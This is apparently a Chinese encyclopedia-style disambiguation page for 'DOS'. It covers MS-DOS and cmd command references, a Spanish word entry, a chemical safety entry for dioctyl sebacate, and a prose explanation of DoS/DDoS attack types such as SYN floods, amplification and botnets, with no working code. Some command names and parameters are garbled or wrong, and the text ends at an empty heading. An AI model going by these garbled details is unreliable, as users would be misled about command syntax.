（3）选用/ALL自动将可完全恢复的文件完全恢复，而不一一地询问用户，使用此参数时，若UNDELTE利用目录里残留的记录来将文件恢复，则会自动选一个字符将文件名补齐，并且使其不与现存文件名相同，选用字符的优选顺序为：#%——00001~9A~Z。
UNDELETE还具有建立文件的防护措施的功能，已超出本课程授课范围，请读者在使用些功能时查阅有关dos手册。删除文件1．功能：删除指定的文件。
2．类型：内部命令
3．格式：DEL [盘符:][路径]<文件名>[/P]
4．使用说明：
（1）选用/P参数，系统在删除前询问是否真要删除该文件，若不使用这个参数，则自动删除；
（2）该命令不能删除属性为隐含或只读的文件；
（3）在文件名称中可以使用通配符；
（4）若要删除磁盘上的所有文件（DEL*.*或DEL.），则会提示：（Are you sure?）（你确定吗？）若回答Y，则进行删除；回答N，则取消此次删除作业。替代命令subst [盘符] [路径]　将指定的路径替代盘符，该路径将作为驱动器使用 　
subst /d　解除替代 　
[例子] C:\dos>subst a: c:\temp? 用c盘temp目录替代a盘 　C:\>subst a: /d?　
解除替代 　SUBST [drive1: [drive2:]path] 　SUBST drive1: /D 　drive1: 指定要指派路径的虚拟驱动器。 　[drive2:]path 指定物理驱动器和要指派给虚拟驱动器的路径。 　/D 删除被替换的 (虚拟)驱动器。
不加任何参数键入 SUBST，可以显示当前虚拟驱动器的清单命令1．功能：修改指定文件的属性。（文件属性参见2.5.4（二）文件属性一节）
2．类型：外部命令。
3．格式：ATTRIB [文件名] [+R|-R][+A|-A][+H|-H][+S|-S][/S]
4．使用说明：
（1）选用+R参数，将指定文件设为只读属性，使得该文件只能读取，无法写入数据或删除；选用-R参数，去除只读属性；
（2）选用+A参数，将文件设置为档案属性；选用-A参数，去除档案属性；
（3）选用+H参数，将文件调协为隐含属性；选用-H参数，去隐含属性；
（4）选用+S参数，将文件设置为系统属性；选用-S参数，去除系统属性；
（5）选用/S参数，对当前目录下的所有子目录及子目录中的文件作设置格式化1．功能：对磁盘进行格式化，划分磁道和扇区；同时检查出整个磁盘上有无带缺陷的磁道，对坏道加注标记；建立目录区和文件分配表，使磁盘作好接收dos的准备。
2．类型：外部命令
3．格式：FORMAT<盘符:> [/S][/4][/Q]
4．使用说明：
（1）命令后的盘符不可缺省，若对硬盘进行格式化，则会如下列提示：WARNING:ALL DATA ON NON ——REMOVABLE DISK
DRIVE C:WILL BE LOST ！
Proceed with Format (Y/N)？
（警告：所有数据在C盘上，将会丢失，确实要继续格式化吗？）
（2）若是对软盘进行格式化，则会如下提示：Insert mew diskette for drive A;
and press ENTER when ready…
（在A驱中插入新盘，准备好后按回车键）。
（3）选用[/S]参数，将把dos系统文件IO.SYS、MSdos.SYS及复制到磁盘上，使该磁盘可以做为dos启动盘。若不选用/S参数，则格式化后的磙盘只能读写信息，而不能做为启动盘；
（4）选用[/4]参数，在1.2MB的高密度软驱中格式化360KB的低密度盘；
（5）选用[/Q]参数，快速格式化，这个参数并不会重新划分磁盘的磁道和扇区，只能将磁盘根目录、文件分配表以及引导扇区清成空白，因此，格式化的速度较快。
（6）选用[/U]参数，表示无条件格式化，即破坏原来磁盘上所有数据。不加/U，则为安全格式化，这时先建立一个镜象文件保存原来的FAT表和根目录，必要时可用UNFORRMAT恢复原来的数据。　格式化恢复1．功能：对进行过格式化误操作丢失数据的磁盘进行恢复。
2．类型：外部命令
3．格式：UNFORMAT<盘符>[/L][/U][/P][/TEST]
4．使用说明：用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区（包括FAT、根目录、BOOT扇区及硬盘分区表）受损时，也可以用UNFORMAT来抢救。
（1）选用/L参数列出找到的子目录名称、文件名称、创建日期等信息，但不会真的做FORMAT工作。
（2）选用/P参数将显示于屏幕的报告（包含/L参数所产生的信息）同时也送到打印机。运行时屏幕会显示：“Print out will be sent to LPT1”
（3）选用/TEST参数只做模拟试验（TEST）不做真正的写入动作。使用此参数屏幕会显示：“Simulation only”
（4）选用/U参数不使用MIRROR映像文件的数据，直接根据磁盘现状进行UNFORMAT。
（5）选用/PSRTN；修复硬盘分区表。
若在盘符之后加上/P、/L、/TEST之一，都相当于使用了/U参数，UNFORMAT会“假设”此时磁盘没有MIRROR映像文件。
注意：UNFORMAT对于刚FORMAT的磁盘，可以完全恢复，但FORMAT后若做了其它数据的写入，则UNFORMAT就不能完整的救回数据了。UNFORMAT并非是万能的，由于使用UNFORMAT会重建FAT与根目录，所以它也具有较高的危险性，操作不当可能会扩大损失，如果仅误删了几个文件或子目录，只需要利用UNDELETE就够了。磁盘检查1．功能：显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。
2．类型：外部命令
3．格式：CHKDSK [盘符:][路径][文件名][/F][/V][/R]
4．使用说明：
（1）选用[文件名]参数，则显示该文件占用磁盘的情况；
（2）选用[/F]参数，纠正在指定磁盘上发现的逻辑错误；
（3）选用[/V]参数，显示盘上的所有文件和路径；
（4）选用[/R]参数，找到坏扇区并恢复可读取的信息。必须锁定磁盘。磁盘复制1．功能：复制格式和内容完全相同的软盘。
2．类型：外 部 命 令
3．格式：DISKCOPY[盘符1:][盘符2:]
4．使用说明：
（1）如果目标软盘没有格式化，则复制时系统自动选择进行格式化。
（2）如果目标软盘上原有文件，则复制后将全部丢失。
（3）如果是单驱动器复制，系统会提示适时更换源盘和目标盘，请操作时注意分清源盘和目标盘。
LABEL建立磁盘卷标
1．功能：建立、更改、删除磁盘卷标。
2．类型：外部命令
3．格式：LABEL [盘符:][卷标名]
4．使用说明：
（1）卷标名为要建立的卷标名，若缺省此参数，则系统提示键入卷标名或询问是否删除原有的卷标名；
（2）卷标名由1至11个字符组成。文件改名1．功能：更改文件名称
2．类型：内部命令
3．格式：REN [盘符:][路径]<旧文件名> <新文件名>
4．使用说明：
（1）新文件名前不可以加上盘符和路径，因为该命令只能对同一盘上的文件更换文件名；
（2）允许使用通配符更改一组文件名或扩展名。文件比较1．功能：比较文件的异同，并列出差异处。
2．类型：外部命令
3．格式：FC [盘符:][路径名]<文件名> [盘符:][路径名][文件名][/A][/C][/N]
4．使用说明：
（1）选用/A参数，为ASCII码比较模式；
（2）选用/B参数，为二进制比较模式；
（3）选用/C参数，将大小写字符看成是相同的字符。
（4）选用/N参数，在ASCII码比较方式下，显示相异处的行号[2]?建立目录1．功能：创建新的目录，注意：此处目录在Windows操作系统里被称为“文件夹”。
2．类型：内部命令
3．格式：MD [盘符：][路径名]<子目录名>
MD建立子目录使用说明：
（1）“盘符”：指定要建立子目录的磁盘驱动器字母，若省略，则为当前驱动器；
（2）“路径名”：要建立的子目录的上级目录名，若缺省则建在当前目录下。　改变目录  CD-Dir命令
1．功能：显示当前目录
2．类型：内部命令
3．格式：CD[盘符:][子目录名]
CD改变当前目录使用说明：
（1）如果省略路径和子目录名则显示当前目录；
（2）如采用“CD\”格式，则退回到根目录；
（3）如采用“CD..”格式则退回到上一级目录；
（4）如采用“dir ..”格式则可以展开文件夹内容。删除目录1．功能：从指定的磁盘删除目录。
2．类型：内部命令
3．格式：RD[盘符：][路径名][子目录名]
4．RD 删除子目录使用说明：
（1）子目录在删除前必须是空的，也就是说需要先进入该子目录，使用DEL（删除文件的命令）将其子目录下的文件删空，然后再退回到上一级目录，用RD命令删除该子目录本身。
（2）不能删除根目录和当前目录。　查看目录1．功能：显示磁盘目录的内容。
2．类型：内部命令
3．格式：DIR [盘符:][路径][文件名] [/A[[:]属性]] [/C] [/D] [/L] [/N] [/O[[:]分类属性]] [/P] [/Q] [/S] [/T[[:]时间]] [/W] [/X] [/4]
4． 使用说明：
/A 显示具有指定属性的文件。
/D 目录  DIR内容
/R 是只读文件
/H隐藏文件
/A 准备存档的文件
/S系统文件
- 表示“否”的前缀
/B 使用空格式(没有标题信息或摘要)。
/C 在文件大小中显示千位数分隔符。这是默认值。用/-C来停用分隔符显示。
/D 跟宽式相同，但文件是按栏分类列出的。
/L 用小写。
/N 新的长列表格式，其中文件名在最右边。
/O 用分类顺序列出文件。
分类排序 N 按名称(字母顺序) S 按大小(从小到大)
E 按扩展名(字母顺序) D 按日期/时间(从先到后)
G 组目录优先 - 颠倒顺序的前缀
/P 在每个信息屏幕后暂停。
/Q 显示文件所有者。
/S 显示指定目录和所有子目录中的文件。
/T 控制显示或用来分类的时间字符域。
时间 C 创建时间
A上次访问时间
W上次写入的时间
/W 用宽列表格式。
/X 显示为非8.3文件名产生的短名称。格式是 /N 的格式，短名称插在长名称前面。如果没有短名称，在其位置则显示空白。
/4 用四位数字显示年　
当前目录
指正在操作或查看的目录, 可以用点(.) 代表当前目录,用2个点(..)则指当前目录的上级目录, 如:当前目录是 c:\temp\test\help , 则"."指c:\temp\test\help, ".." 指 c:\temp\test 目录。 在当前目录下可以用dir ..\*.* 来查看c:\temp\test所有文件.路径设置1．功能：设备可执行文件的搜索路径，只对文件有效。
2．类型：内部命令
3．格式：PATH [盘符1]目录[路径名1]{[；[盘符2:]]，<目录路径名2>…}
4．使用说明：
（1）当运行一个可执行文件时，dos会先在当前目录中搜索该文件，若找到则运行之；若找不到该文件，则根据PATH命令所设置的路径，顺序逐条地到目录中搜索该文件；
（2）PATH命令中的路径，若有两条以上，各路径之间以一个分号“；”隔开；
（3）PATH命令有三种使用方法：
PATH [盘符1:][路径1][盘符2:][路径2]…（设定可执行文件的搜索路径）
PATH：（取消所有路径）
PATH：（显示已设的路径）
环境变量)等。
显示目录1．功能：显示指定驱动器上所有目录路径和这些目录下的所有文件名。
2．类型：外部命令
3．格式：TREE[盘符:][/F][>PRN]
4．使用说明：
（1）使用/F参数时显示所有目录及目录下的所有文件，省略时，只显示目录，不显示目录下的文件；
（2）选用>PRN参数时，则把所列目录及目录中的文件名打印输出。删除目录1．功能：将整个目录及其下属子目录和文件删除。
2．类型：外部命令
3．格式：DELTREE [盘符:]<路径名>
4．使用说明：该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除，而且不管文件的属性为隐藏、系统或只读，只要该文件位于删除的目录之下，DELTREE都一视同仁，照删不误。应谨慎使用[2]?批量工具*功能：批量处理某一类文件
类型：外部命令
格式举例：del *.txt（意为删掉所在目录下的所有.txt文件）
使用说明：输入想对批量文件处理的命令，输入*.后缀，比如想把所有.ini文件改为.txt文件则需输入
ren *.ini *.txt。
参考资料
《MS DOS命令大全》
新DOS
新DOS概述DOS系统的确已经完全被取代，但dos命令仍作为使用Windows之余的一个有益补充，用来解决很多Windows解决不了的问题，或者更适合通过dos命令来解决的问题。进入21世纪以来，自然没有多少人再费心学习dos的内存配置、驱动程序加载技术，更多人以掌握一种或多种dos应用程序的使用方法为荣，如分区、格式化、磁盘修复程序、Ghost备份等。这显示了dos是被作为一种工具而广泛应用，而不是其本义的操作系统。
DOS不再局限于DOS操作系统，而是更广泛地应用到Windows中的命令提示符。需要区分Windows中的命令提示符并非DOS，只是基本兼容DOS应用程序，Windows下命令提示符可以执行32位程序命令，而DOS则是16位程序命令。同时批处理文件也成为辅助windows批量操作一种很好的小程序。进入DOS电脑的很多故障都与操作系统或硬盘有关，要想对电脑进行维修，进入DOS模式下进行硬盘维护或重装操作系统是必然的步骤。也可以进入DOS下杀毒。以Windows 98为例，如果你还能进入windows，你可选从“开始”→“关闭系统”→“重新启动计算机并切换到MS-DOS方式”即可，也可在启动电脑快要出现Windows画面时连续按F8键，在出现的菜单中再选择“Command prompt only”进入。或者你可用做好的可启动软盘或光盘在电脑启动时以软盘或光盘启动方式来进入。 　
需要说明的是启动并进入DOS模式，要求磁盘要具有引导的能力（即具有三个系统文件，MSdos.SYS、IO.SYS和COMMAND,COM），如果要从硬盘启动，只要硬盘可以引导就行了, U盘、光盘也可以引导进入。新硬件支持针对当前的计算机应用需要，dos爱好者开发了支持在dos下读取闪存盘的驱动程序，使得U盘可以取代软盘；此外，还有可在dos下读取NFTS分区的工具，在dos下对鼠标的支持程序、对各种光驱的万能驱动程序等。这些程序的开发扩展了dos的适应能力。模拟器在Linux下，使用DOSEMU（一套用来运行实模式程序的 Linux 原生虚拟机）可以运行 DOS 及其派生版本。另外在各个版本的UNIX下也有许多用来运行 DOS 的模拟器，有些甚至在非x86的平台上也可以运行，像是DOSBox。
发展历程
随着电脑硬件的不断发展，从Windows 95到Windows XP再到的Windows 7以及2012年发布的Windows 8中，MS-dos的核心依然存在，只是加上Windows当作系统的图形界面，直到纯32 位版本的Windows系统（从Windows NT开始，其中就包含了 Windows 2003、Windows XP、Windows Vista、Windows 7和Windows 8）。由此可见dos的生命力极强。例如系统还原和安装都需要DOS，DOS用起来也很方便。
DOS是个非常实用的操作系统，因此，它深深受到国内外人们的普遍喜爱，一直拥有数以亿计的用户。但是，自从1995年以来，Microsoft公司出于商业利益等方面的原因，决定抛弃手中的MS-DOS。当时，DOS已有许多种，除MS-DOS以外，还有PC-DOS，DR-DOS，FreeDOS等，但是由于受到Microsoft公司的挤压，故使用的人数不多，而大多数用户都在使用MS-DOS。由于Microsoft彻底放弃了MS-DOS，而转以开发Windows，引起了广大DOS使用者和爱好者的不满，而且，大家通常所使用的Windows 9x也只是DOS下的一个大型程序罢了，如果没有DOS的支持，它根本无法运行。但也由此可见DOS的功能其实是非常强大的，以及DOS软件拥有巨大的开发潜能，因为像Windows那样强大的DOS增强程序都可以编出来。比较Windows是一个多任务的操作环境，但它对程序编写的约束和限制比DOS高得多，因而许多程序员出于对Windows的不满及对DOS开发的价值和潜力的深刻认识，继续开发DOS软件。由于多年的经验的积累，他们的软件开发水平越来越高，因此他们开发出的DOS软件的质量也越来越高。为了开发更多的软件并且增加开发的效率，他们设计了一个又一个DOS软件的开发工具。而用这些开发工具的人也越来越多，并在国外迅速地流传开来，详情可见一篇叫作“DJGPP程序与保护模式”的文章（在“DOS文章”栏目中）。一个尤为重要的是，正如上文所提到，虽然MS-DOS已经不再继续发展了，但并不意味着整个DOS也不再继续发展了。MS-DOS的最高版本是8.0（包含在Windows ME中），随后Microsoft开始开发基于Windows NT构件的Windows，才成了真正独立的操作系统。除了MS-DOS以外，其它的DOS也在发展着。仍在不断发展和更新中的DOS有FreeDOS、PTS-DOS、ROM-DOS等，这些DOS的功能都十分强大，往往超过MS-DOS，而且FreeDOS还是完全免费且自由开放的。因此，程序员们完全可以为它们开发新的DOS软件，而不必依赖于MS-DOS。这大概是90，年代末DOS的情况。现状随后，一项叫作“开放源代码运动”的活动兴起了。很多程序员和使用者出于对Microsoft的Windows横行霸道的不满，离开了Windows阵营。取而代之的是兴起了对其它操作系统软件的开发，如DOS，Linux等。这一下，设计和开发DOS软件的人迅速增加，并纷纷组成了开发团体，以开发新的DOS和其它非Windows的操作系统的软件，详情可见一篇叫作“DOS和Linux近年来的发展比较”的文章。由于开发者的增多，原先的DOS软件开发器也开始了进一步的更新，而且支持FAT32和长文件名。再加上这次开发软件的有许多是程序员中的精英，所以开发出来的DOS软件的质量自然是今非昔比了。比如，由于Allegro等编程库的出现，在DOS下实现MP3等音乐的播放对他们来说已是轻而易举的了。以这些软件为代表的DOS软件和原来的DOS软件，如DOSAMP，GDS Viewer等的质量相比有着本质的提高。原来认为非常强大的SEA看图软件，也只是个一般强大的软件罢了。另一个很重要的变化在于对FAT32及长文件名的支持。DJGPP程序已经实现了在LFN API存在的情况下对长文件名的完美支持。总之，这些新的DOS软件的整体水平的提高是很显著的。为了挑战Windows的界面，程序员们（经常是集体合作）开发了一个又一个仿Windows的界面增强程序，著名的有Seal,Qube,WinDOS等等。还有人开发出了内核为32位的DOS操作系统，如FreeDOS 32，事实证明，这些程序的编写水平是很高的。这些软件都在不断地开发中，所取得的成绩是有目共睹的。而且它们最显著的特点就是自由开放的发展，如上面所提到的SEAL、FreeDOS 32等等都是遵守著名的GNU GPL协议的自由软件。
结语
我和“起步”站长莫老师已达成共识，那就是要大力推广新的DOS软件，并将世界上DOS发展的最新情况告诉大家，以促进国内DOS的发展。同时，希望广大的国内DOS爱好者和使用者也来一起帮助DOS发展壮大吧！如果您会编程序或对DOS软件开发有兴趣的话，欢迎加入“DOS开发”中，以开发新的DOS软件（可在“DOS开发”栏目中看到更详细信息）,把祖国的DOS发展到国际，需要我们一起的努力！

释义
1、两个。
2、第二的。
3、编号2。
4、2日。
5、面有两点的东西（如2点的纸牌）。
6、表示2的符号。
7、两（数词）。
用法
用于名词前作冠词，表示2个、2件等意思。
语法：定冠词+数词=名词 一般指代上文提到的人或事。
补充:
- Pepe y Paco son buenos. A quién quieres más entro los dos chicos?
发音：[dɔs][1]

简介
一种增塑剂的缩写词。工业上叫癸二酸二辛酯
  
基本信息
化学名：癸二酸二（2-乙基己酯）。俗称增塑剂
英文名：dioctyl sebacate ；bis(2-ethylhexyl)sebacate 
别名：皮脂酸二辛酯 、癸二酸二(2-乙基己)酯
CAS：【122-62-3 】
分子式： C26H50O4 
相对分子质量：426.66
结构式：
技术说明书编码： 1406
物理性质
外观与性状： 淡黄色液体。  
熔点(℃)： -55 
沸点(℃)： 248(1.20kPa) 
相对密度(水=1)： 0.91 
相对蒸气密度(空气=1)： 14.7 
饱和蒸气压(kPa)： 1.20(248℃) 
溶解性： 不溶于水，溶于醇、醚、酮、芳香烃、脂肪烃等有机溶剂。 部分溶于某些胺类和多元醇。可与聚氯乙烯、氯乙烯共聚物、乙基纤维素、聚苯乙烯、聚甲基丙烯酸甲酯及合成橡胶等相容。在硫酸的作用下，癸二酸直接与辛醇酯化而制得。
主要用途
DOS为优良的耐寒增塑剂，挥发性较低。因此除有优良的低温性能外，尚可在较高的温度下使用。癸二酸二辛酯的耐光、耐气候性、电气性能好，因而是耐寒电缆料的最好的增塑剂。主要缺点是易被烃类溶剂所抽出，且容易迁移，成木较高。山于DOS相溶性较差，通常与邻苯二甲酸酯类并用。癸二酸二辛酯除用于聚氯乙烯电缆料外，还广泛应用于聚氯乙烯耐寒薄膜、人造革等制品。它还可用作聚甲基丙烯酸甲酯、聚苯乙烯、氯乙烯一醋酸乙烯共聚物等塑料的增塑剂，也用于喷汽式发动机的合成润滑油。
毒性
本品低毒，毒性系数T=1000.美国、荷兰许可本品制作食品包装材料。
注意
健康危害未见职业中毒的报道资料。无毒，LD5012800~25600mg/kg。燃爆危险本品可燃。皮肤接触脱去污染的衣着，用流动清水冲洗。眼睛接触提起眼睑，用流动清水或生理盐水冲洗。就医。吸入脱离现场至空气新鲜处。就医。食入饮足量温水，催吐。就医。危险特性遇明火、高热可燃。有害燃烧产物一氧化碳、二氧化碳。灭火方法尽可能将容器从火场移至空旷处。喷水保持火场容器冷却，直至灭火结束。处在火场中的容器若已变色或从安全泄压装置中产生声音，必须马上撤离。灭火剂：雾状水、泡沫、干粉、二氧化碳、砂土。应急处理迅速撤离泄漏污染区人员至安全区，并进行隔离，严格限制出入。切断火源。建议应急处理人员戴自吸过滤式防毒面具（全面罩），穿一般作业工作服。尽可能切断泄漏源。防止流入下水道、排洪沟等限制性空间。小量泄漏：用砂土或其它不燃材料吸附或吸收。也可以用不燃性分散剂制成的乳液刷洗，洗液稀释后放入废水系统。大量泄漏：构筑围堤或挖坑收容。用泵转移至槽车或专用收集器内，回收或运至废物处理场所处置。

释义
DoS, Denial of Service, 拒绝服务，一种常用来使服务器或网络瘫痪的网络攻击手段。
DDoS, Distributed Denial of Service, 分布式拒绝服务攻击，亦称作洪水攻击。
顾名思义，即是利用网络上已被攻陷的电脑作为“僵尸”，向某一特定的目标电脑发动密集式的“拒绝服务”要求，用以把目标电脑的网络资源及系统资源耗尽，使之无法向真正正常请求的用户提供服务。黑客通过将一个个“丧尸”或者称为“肉鸡”组成僵尸网络（即Botnet），就可以发动大规模DDoS或SYN洪水网络攻击，或者将“丧尸”们组到一起进行带有利益的刷网站流量、Email垃圾邮件群发，瘫痪预定目标，使雇主达到攻击竞争对手为目的的商业活动等。
攻击方式
DDoS攻击可以具体分成两种形式：
带宽消耗型以及资源消耗型，都是透过大量合法或伪造的请求占用大量网络以及器材资源，以达到瘫痪网络以及系统的目的。带宽消耗型攻击DDoS 带宽消耗攻击可以分为两个不同的层次：洪泛攻击或放大攻击。洪泛攻击的特点是利用僵尸程序发送大量流量至受损的受害者系统，目的在于堵塞其带宽。放大攻击也与之类似，通过恶意放大流量限制受害者系统的带宽；其特点是利用僵尸程序发送信息，但是信息却是发送至广播 IP 地址，导致系统子网被广播 IP 地址连接上之后再发送信息至受害系统。
User Datagram Protocol (UDP) floodsUDP是一种无连接协议，当数据包通过 UDP 发送时，所有的数据包在发送和接收时不需要进行握手验证。当大量 UDP 数据包发送给受害系统时，可能会导致带宽饱和从而使得合法服务无法请求访问受害系统。遭受 DDoS UDP 洪泛攻击时，UDP 数据包的目的端口可能是随机或指定的端口，受害系统将尝试处理接收到的数据包以确定本地运行的服务。如果没有应用程序在目标端口运行，受害系统将对源IP发出 ICMP 数据包，表明“目标端口不可达”。某些情况下，攻击者会伪造源IP地址以隐藏自己，这样从受害系统返回的数据包不会直接回到僵尸主机，而是被发送到被伪造地址的主机。有时 UDP 洪泛攻击也可能影响受害系统周围的网络连接，这可能导致受害系统附近的正常系统遇到问题。然而，这取决于网络体系结构和线速。ICMP floodsICMP floods是通过向未良好设置的路由器发送广播信息占用系统资源的做法。ping of death是产生超过IP协定能容忍的分组数，若系统没有检查机制，就会当机。TearDrop每个数据要传送前，该分组都会经过切割，每个小切割都会记录位移的信息，以便重组，但此攻击模式就是捏造位移信息，造成重组时发生问题，造成错误。资源消耗型攻击协议分析攻击 (SYN flood)传送控制协议 (TCP) 同步 (SYN) 攻击。TCP 进程通常包括发送者和接受者之间在数据包发送之前创建的完全信号交换。启动系统发送一个 SYN 请求，接收系统返回一个带有自己 SYN 请求的 ACK （ 确认 ）作为交换。发送系统接着传回自己的 ACK 来授权两个系统间的通讯。若接收系统发送了 SYN 数据包，但没接收到 ACK，接受者经过一段时间后会再次发送新的 SYN 数据包。接受系统中的处理器和内存资源将存储该 TCP SYN 的请求直至超时。DDoS TCP SYN攻击也被称为“资源耗尽攻击” ,它利用 TCP 功能将僵尸程序伪装的 TCP SYN 请求发送给受害服务器，从而饱和服务处理器资源并阻止其有效地处理合法请求。它专门利用发送系统和接收系统间的三向信号交换来发送大量欺骗性的原 IP 地址 TCP SYN 数据包给受害系统。最终，大量 TCP SYN 攻击请求反复发送，导致受害系统内存和处理器资源耗尽，致使其无法处理任何合法用户的请求。LAND attack这种攻击方式与SYN floods类似，不过在LAND attack攻击包中的原地址和目标地址都是攻击对象的IP。这种攻击会导致被攻击的机器死循环，最终耗尽资源而死机。CC 攻击CC 攻击是 DDoS 攻击的一种类型，使用代理服务器向受害服务器发送大量貌似合法的请求 （ 通常使用 HTTP GET )。CC (攻击黑洞)根据其工具命名，攻击者创造性地使用代理机制，利用众多广泛可用的免费代理服务器发动 DDoS 攻击。许多免费代理服务器支持匿名模式，这使追踪变得非常困难。僵尸网络攻击僵尸网络是指大量被命令控制型 (C&C) 服务器所控制的互联网主机群。攻击者传播恶意软件并组成自己的僵尸网络。僵尸网络难于检测的原因是，僵尸主机只有在执行特定指令时才会与服务器进行通讯，使得它们隐蔽且不易察觉。僵尸网络根据网络通讯协议的不同分为 IRC、HTTP 或 P2P类等。Application level floods与前面叙说的攻击方式不同，Application level floods主要是针对应用软件层的，也就是高于OSI的。它同样是以大量消耗系统资源为目的，通过向IIS这样的网络服务程序提出无节制的资源申请来迫害正常的网络服务[1]。
历史版本
安防漏洞20世纪90年代中晚期的DoS活动差不多都是基于利用操作系统里的各种软件缺陷。这些缺陷大都属于会导致软件或硬件无法处理例外的程序设计失误。这类威胁可以称为是杀手包或剧毒包(Killer Packet)型威胁，它主要是利用协议本身或者其软件实现中的漏洞，通过一些非正常的(畸形的)数据包使得受害者系统在处理时出现异常，导致受害者系统崩溃。由于这类威胁主要是利用协议或软件漏洞来达到威胁效果的，因此，有的也称这类威胁为漏洞威胁，也有称之为协议威胁(Protocol Attack)的。此外，由于这类威胁对不法者的运算能力或带宽没有要求，一个通过Modem连接的低档的PC机就可以攻破一个具有高带宽的大型系统。因此，这类威胁也是一种非对称DoS威胁。
随着系统的更新，网络安全技术的进步，在可供利用的安防漏洞越来越少的情况下，现代DoS威胁技术采取一种更直接的战术——消耗战(能力消耗、带宽消耗)，Flood型的威胁方式是这个战术的最好体现。  拒绝服务
这类威胁可以称为风暴型(Storm Type)或洪泛型(Flood Type)威胁，不法者通过大量的无用数据包占用过多的资源以达到拒绝服务的目的。这种威胁有时也称为带宽威胁(BandwidthAttack)，原因是其常常占用大量的带宽，即使有时威胁的最终目的是占用系统资源，但在客观上也会占用大量带宽。在这类威胁中，有害数据包可以是各种类型的，数据包中的数据也可以是多种多样的，这些数据包与正常服务的数据包是难以区分的。剧毒包威胁，利用协议实现的漏洞，全过程只需借助于一个或少量的异常数据包即可达到目的；洪泛威胁的效果完全依赖于数据包的数量，仅当大量的数据包传到目标系统(受害者)时才有效。[1]DDoS这是一种基于DoS的特殊形式的拒绝服务威胁，是一种分布、协作的大规模威胁方式。不法者通过控制一定数量的傀儡机，向目标主机发起群体威胁，甚至多种威胁类型的混合威胁，这比单一主机发起的DoS威胁威力更大，效果更好。DRDoSDRDoS不同于以往的拒绝服务方式，它对DDoS作了改进，它是通过对正常的服务器进行网络连接请求来达到破坏目的的。从TCP的三次握手中我们知道了任何合法的TCP连接请求都会得到返回数据包，而这种威胁方法就是将这个返回包直接返回到被害的主机上，这里涉及到数据包内的源口地址问题，就是利用数据包的口地址欺骗方法，欺骗被利用的网络服务器，让此服务器认为TCP请求连接都是被害主机上发送的，接着它就会发送“SYN+ACK”数据包给被害主机，恶意的数据包就从被利用的服务器“反射”到了被害主机上，形成洪水威胁。[2]​

常用命令
  
Windows 98/2000/xp/vista/7/8以及Windows 2000server/2003server中部分可以使用下列步骤进入DOS界面：
开始-运行-输入cmmand或者cmd 进入Windows下的DOS界面.
所有windows输入运行命令的快捷键为 WINDOWS键+R
然后输入 cmd 回车即可进入DOS界面 
cd 进入当前目录 
基础命令 
1 dir 
无参数：查看当前所在目录的文件和文件夹。 
/s：查看当前目录已经其所有子目录的文件和文件夹。 
/a：查看包括隐含文件的所有文件。 
/ah：只显示出隐含文件。 
/w：以紧凑方式（一行显示5个文件）显示文件和文件夹。 
/p：以分页方式（显示一页之后会自动暂停）显示。 
|more：前面那个符号是“\”上面的那个，叫做重定向符号，就是把一个 
命令的结果输出为另外一个命令的参数。more也是一个命令，dir /w |more 
得到的结果和dir /w /p的结果是一样的。 
其他的参数大家可以用：dir/?查看。 
2 cd 
cd 目录名：进入特定的目录。如果看到有个目录显示为：abcdef ghi 就 
输入：cd abcdef.ghi进入该目录。 
cd\ 退回到根目录。 
cd..退回到上一级目录。 
3 md rd 
md 目录名：建立特定的文件夹。 （dos下面习惯叫目录，win下面习惯叫文 
件夹。呵呵！） 
rd 目录名：删除特定的文件夹。 
4 cls 
清除屏幕。 清除屏幕上所有的显示内容，只留下CLS命令前的路径
5 copy 
copy 路径\文件名 路径\文件名 ：把一个文件拷贝到另一个地方。 
6 move 
move 路径\文件名 路径\文件名 ：把一个文件移动（就是剪切+复制）到另 
一个地方。 
7 del 
del 文件名：删除一个文件。 
del *.*：删除当前文件夹下所有文件。 
del不能删除文件夹。 
8 deltree 
删除文件夹和它下面的所有子文件夹还有文件，厉害。。。不要乱用。 
9 format 
format x: ：x代表盘符，格式化一个分区。在dos下是用fat文件系统格式 
化的，在windows2000安装的时候会问你要不要转换为ntfs。 
10 type 
type 文本文件名：显示出文本文件的内容。 
11 edit 
其实这是个小程序，编辑文本文件用的。 
12 ren 
ren 旧文件名 新文件名：改文件名。 
 进入编辑模式进入编辑状态
mem 查看内存状况 
more 分屏显示 
move 移动文件、改目录名 
rd 删除目录 
ren 更改文件名 
type 显示文件内容 
sys 制作DOS系统盘 
xcopy 拷贝目录与文件 
attrib 设置文件属性 
chkdsk 检查磁盘 
date 显示及修改日期 
defrag 磁盘碎片整理 
doskey 重新调用DOS命令 
emm386 扩展内存管理 
fdisk 硬盘分区 
help 帮助 
label 设置卷标号 
lh 将程序装入高端内存 
memmaker内存优化管理 
msd 系统检测 
path 设置搜寻目录 
prempt 设置提示符 
restore 恢复备份文件 
time 显示及修改时间 
scandisk检测、修理磁盘 
set 设置环境变量 
smartdrv设置磁盘加速器 
undelete恢复被删的文件 
ftp远程文件上传或下载
telnet远程登录
常用命令具体介绍:
3.1、Dir
显示目录文件和子目录列表，呵呵，这个当然是人人要知道的。 
可以使用通配符（? 和 *），？表通配一个字符，*表通配任意字符 
*.后缀 
指定要查看后缀的文件。 上面其实也可以为“ . 后缀”,例如dir *.exe 等于dir .exe 
/p 
每次显示一个列表屏幕。要查看下一屏，请按键盘上的任意键。 
/w 
以宽格式显示列表，在每一行上最多显示 5 个文件名或目录名。 
/s 
列出指定目录及所有子目录中出现的每个指定的文件名。比win环境下的查找快多了 
dir *.* -> a.txt 把当前目录文件列表写入a.txt 
dir *.* /s -> a.txt 把当前目录文件列表写入a.txt，包括子目录下文件。 
3.2、Attrib
显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。如果在不含参数的情况下使用，则 attrib 会显示当前目录中所有文件的属性。 
+r 
设置只读属性。 
-r 
清除只读属性。 
+a 
设置存档文件属性。 
-a 
清除存档文件属性。 
+s 
设置系统属性。 
-s 
清除系统属性。 
+h 
设置隐藏属性。 
-h 
清除隐藏属性。 
3.3、Cl*
清除显示在命令提示符窗口中的所有信息，并返回空窗口，即“清屏” 
3.4、**it
退出当前命令解释程序并返回到系统。 
3,5、format
格式化 
/q 
执行快速格式化。删除以前已格式化卷的文件表和根目录，但不在扇区之间扫描损坏区域。使用 /q 命令行选项应该仅格式化以前已格式化的完好的卷。 
3.6、Ipconfig
